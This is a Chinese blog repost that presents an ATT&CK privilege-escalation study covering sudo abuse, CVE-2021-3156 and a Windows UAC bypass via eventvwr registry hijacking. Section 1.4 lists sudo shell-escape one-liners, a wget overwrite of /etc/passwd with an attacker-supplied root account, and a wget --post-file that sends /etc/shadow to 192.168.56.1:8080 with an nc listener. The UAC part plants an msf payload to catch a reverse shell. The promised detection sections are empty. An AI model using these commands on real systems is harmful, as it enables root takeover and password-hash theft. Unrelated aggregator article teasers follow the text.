ATTCK v12版本战术实战研究——提权(一)

news2024/11/25 20:50:31

一、概述

前几期文章中,我们中介绍ATT&CK 14项战术中提权战术(一),包括提权前6项子技术。那么从前文中介绍的相关提权技术来开展测试,进行更深一步的分析。本文主要内容是介绍攻击者在运用提权技术时,在相关的资产服务器或者在PC机器上所产生的特征数据进行分析,使安全运维人员在后续工作中应当如何去进行预防和快速响应。 

二、提权战术

1、sudo提权

1.1 Sudo和Sudo缓存(T1548.003)

攻击者可以执行sudo缓存或使用sudoers文件提升权限。Sudo命令允许系统管理员委派权限,使某些用户能够以root或其他用户身份运行某些命令,同时提供命令及其参数的审计跟踪。/etc/sudoers描述了哪些用户可以从哪些终端运行哪些命令,哪些命令用户可以作为其他用户或组运行。攻击者利用这些机制的不良配置来升级特权,而不需要用户的密码。

1.2 漏洞原理

本次的漏洞存在于Sudo上--一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

下面是sudo用户可以使用的操作命令,了解了这些,我们可以更加清楚提权操作。

1.3 Linux权限升级前期的信息收集

信息收集是关键。

(Linux)特权提升的TIps:

信息信息,更多的信息收集,信息收集是整个渗透测试过程的

整理信息,分析收集的信息和整理信息。

搜索漏洞- 知道要搜索什么以及在哪里可以找到漏洞利用代码。

修改代码- 修改漏洞利用程序,使其适合目前的渗透。并非每种漏洞都能为“现成”的每个系统工作。漏洞看环境

尝试攻击- 为(很多)尝试和错误做好准备

由此可知本次测试用的靶场版本是ubuntu1.8.31

1.4 实现代码

sudo find /etc/passwd -exec /bin/sh \;sudo find /bin -name nano -exec /bin/sh \;sudo vim -c!sh’sudo nmap-交互式nmap>!shsh-4.1#echo“ os.execute(’/bin/sh’)”>/tmp/shell.nse && sudo nmap —script =/tmp/shell.nsesudo man mansudo less /etc/hostssudo more /etc/hostssudo awk’BEGIN {system(“/bin/sh”)}’touhid:$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/ gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root/binsudo nano /etc/passwd现在切换用户密码是:test

在受害者方面。

sudo wget http://192.168.56.1:8080/passwd -O /etc/passwd现在切换用户密码是:testsu touhid

注意:如果您要从服务器上转储文件,例如root的ssh密钥,shadow文件等。​​​​​​​

sudo wget —post-file =/etc/shadow 192.168.56.1:8080攻击者的设置侦听器:nc –lvp 8080

1.5安全管理平台检测告警

2、WindowsUAC

2.1 WindowsUAC提权介绍

UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。

2.2复现原理

系统在调用这些高权限程序时,会调用HKCR(HKEY_CLASSES_ROOT)下的键值。所以,修改HKCR(HKEY_CLASSES_ROOT)下的键值,把原本的键值改为 cmd.exe 等 shell 程序,如果高权限的程序,在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序。从而实现绕过 UAC提权。而此问题的难点在于找到注册表的关键位置

2.3修改注册表的键值

HKCU\Software\Classes\mscfile\shell\open\command,为msf生成的exe,之后运行eventvwr.exe

把d:\1.exe改为msf的exe地址,然后复制到命令行执行

2.4通过shell反弹劫持注册表

劫持注册表后,再次执行程序就会去查找劫持的注册表地址,然后以自动提权之后的管理员权限加载shell.exe,此时反弹回来的会话可通过getsystem直接提权

2.5 安全管理平台检测告警

三、总结

sudo 大家经常遇到,比如执行权限不够时加 sudo 执行,sudo 是让普通用户使用超级用户的命令。其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。

UAC此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。

以上便是本期所分享的提权的技术,通过对每个技术的落地研究,对网内的安全问题等监控是必不可少的运营工作。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/417544.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LeetCode 112 路径总和

题目: 给你二叉树的根节点 root 和一个表示目标和的整数 targetSum 。判断该树中是否存在 根节点到叶子节点 的路径,这条路径上所有节点值相加等于目标和 targetSum 。如果存在,返回 true ;否则,返回 false 。 示例 1…

Spring Boot概述(一)

1. SpringBoot 概述 1.1 SpringBoot 概念 SpringBoot提供了一种快速使用Spring的方式,基于约定优于配置的思想,可以让开发人员不必在配置与逻辑业务之间进行思维的切换,全身心的投入到逻辑业务的代码编写中,从而大大提高了开发的…

数字化时代,如何通过社媒找到外贸客户?

随着全球化的深入发展,外贸客户的开发变得越来越重要。而在如今的数字化时代,社交媒体已经成为了企业开发外贸客户的重要渠道之一。本文好选客小编将从选择社媒找外贸客户的原因和方法等方面,为您介绍如何通过社媒找到外贸客户。 图片出处&am…

洛谷P8706 [蓝桥杯 2020 省 AB1] 解码 C语言/C++

[蓝桥杯 2020 省 AB1] 解码 题目描述 小明有一串很长的英文字母,可能包含大写和小写。 在这串字母中,有很多连续的是重复的。小明想了一个办法将这串字母表达得更短:将连续的几个相同字母写成字母 出现次数的形式。 例如,连续…

【蓝桥杯省赛真题38】Scratch流星坠落 少儿编程scratch编程蓝桥杯省赛比赛真题讲解

目录 scratch流星坠落 一、题目要求 编程实现 二、案例分析 1、角色分析

vue3中使用swiper及遇到的问题

vue3中使用swiper 一、安装swiper二、使用swiper三、echarts+swiper一、安装swiper 使用npm install swiper安装swpier插件 npm install swiper -s // @9.2.0 // 或者安装指定版本 npm install swiper@8.4.7 -s二、使用swiper 直接按照官网的引用方法,项目会报错 解决方法:…

【复现论文】Looking here or there? Gaze Following in 360-Degree Images

【复现论文】Looking here or there? Gaze Following in 360-Degree Images 论文:Looking here or there? Gaze Following in 360-Degree Images 论文链接:Looking here or there? Gaze Following in 360-Degree Images 复现github链接&#xff1a…

List集合以及它的实现类和队列、栈

List集合 Collection层次的结构接口中,一些允许有重复的元素,例如:List接口。而另外一些不允许有重复的元素,例如:Set接口。其中也分为了有序与无序的(存储顺序)。 在JDK中没有提供Collection…

ppt文件太大怎么变小,这6种方式很简单

ppt文件太大怎么变小? ppt文件通常用于公司会议、教育授课和商务演讲等场合,由于需要实现各种文档效果并插入大量图片,因此文件大小要远大于普通文档文件,占用的存储空间也不少。如果电脑中存储了大量PPT文件,并且不方…

不服不行!盘点那些编程界的天才少年,11岁参加国际比赛,靠奖金赚了40万美金

程序员是一项专业性极强的工作,需要很强的思维能力和动手能力,所以大多数程序员要比普通人更聪明,与其他职业相比,程序员应该是最爱学习的一行了。科技网络的发展太快,新的技术层出不穷,时刻都要更新自己的…

L2-041 插松枝 判断量少(PTA 天梯赛)

人造松枝加工场的工人需要将各种尺寸的塑料松针插到松枝干上,做成大大小小的松枝。他们的工作流程(并不)是这样的: 每人手边有一只小盒子,初始状态为空。每人面前有用不完的松枝干和一个推送器,每次推送一…

计算机组成原理第二章——数据的表示与运算(下)

提示:时光清浅处 一步一安然 文章目录前言2.3.1 浮点数的表示2.3.2 IEEE7542.2.3 浮点数的运算前言 本节主要讲三个问题,浮点数的表示,IEEE 754标准,浮点数的加减运算 2.3.1 浮点数的表示 浮点数的作用和基本原理 定点数可表示…

由浅入深了解HashMap源码

由经典面试题引入,讲解一下HashMap的底层数据结构?这个面试题你当然可以只答,HashMap底层的数据结构是由(数组链表红黑树)实现的,但是显然面试官不太满意这个答案,毕竟这里有一个坑需要你去填&a…

Java容器使用注意点

前置:问题 判空集合转map集合遍历集合去重集合转数组数组转集合 一:集合判空 《阿里巴巴 Java 开发手册》的描述如下: 判断所有集合内部的元素是否为空,使用 isEmpty() 方法,而不是 size()0 的方式。 我们在开发中也…

AI大模型突围战

最近,GPT赛道上争议不断,先是GPT-4的问世,用一些亮眼的功能让人类感叹自己是不是要丢工作?紧接着又有一封联名信刷屏,图灵奖得主、AI三巨头之一的约书亚本吉奥、埃隆马斯克等123个业界大佬,呼吁所有人工智能…

Vcpkg安装指定版本包或自定义安装包

文章目录前言寻找版本安装后话前言 windows一直用着vcpkg作为C跨平台开发的包管理,有些依赖要指定版本库,vcpkg目前最新的openssl版本是3.1.0,我想安装其他版本为例,开始本教程 寻找版本 以openssl举例,在vcpkg目录中…

react3:受控组件(表单默认变成受控)-组件通信 - typescript项目

受控组件:表单 非受控组件表单元素值不受所在组件状态的控制, 我们将这样的表单元素称作: 非受控组件. 受控组件受控组件 : 值受到 React 组件状态控制的表单元素一般是通过 defaultValue 属性, onChange 事件配合将非受控组件变为受控组件. 多表单元素操作 &#…

如果当前node.js版本和项目需要版本不一样,卸载重装其他版本node.js的方法

其实这种node.js版本不一样的问题,可以选择用nvm来管理node.js的不同版本。 此处仅总结卸载当前版本node.js重新安装所需版本node.js的方法 另:现在 用Vite官网里面的 yarn/npm等 的方法,创建Vue3项目——需要12版本的node.js 以下以本人 …

Vue3中readonly 与 shallowReadonly的使用区别?

文章目录前言readonly强行修改readonly:shallowReadonlyshallowReadonly强行修改结果:前言 readonly: 让一个响应式数据变为只读的(深只读)。 shallowReadonly: 让一个响应式数据变为只读的(浅只读&#x…

真正好用的工业品ERP系统应该是什么样的?

一个好用的进销存ERP系统应该有以下特点: 1. 全面覆盖企业经营流程,包括采购、销售、库存、财务等模块,能够实现全方位的管理和控制。 2. 自定义配置,灵活地适应大多数用户的需求。 3. 数据精准、实时化,支持统计分…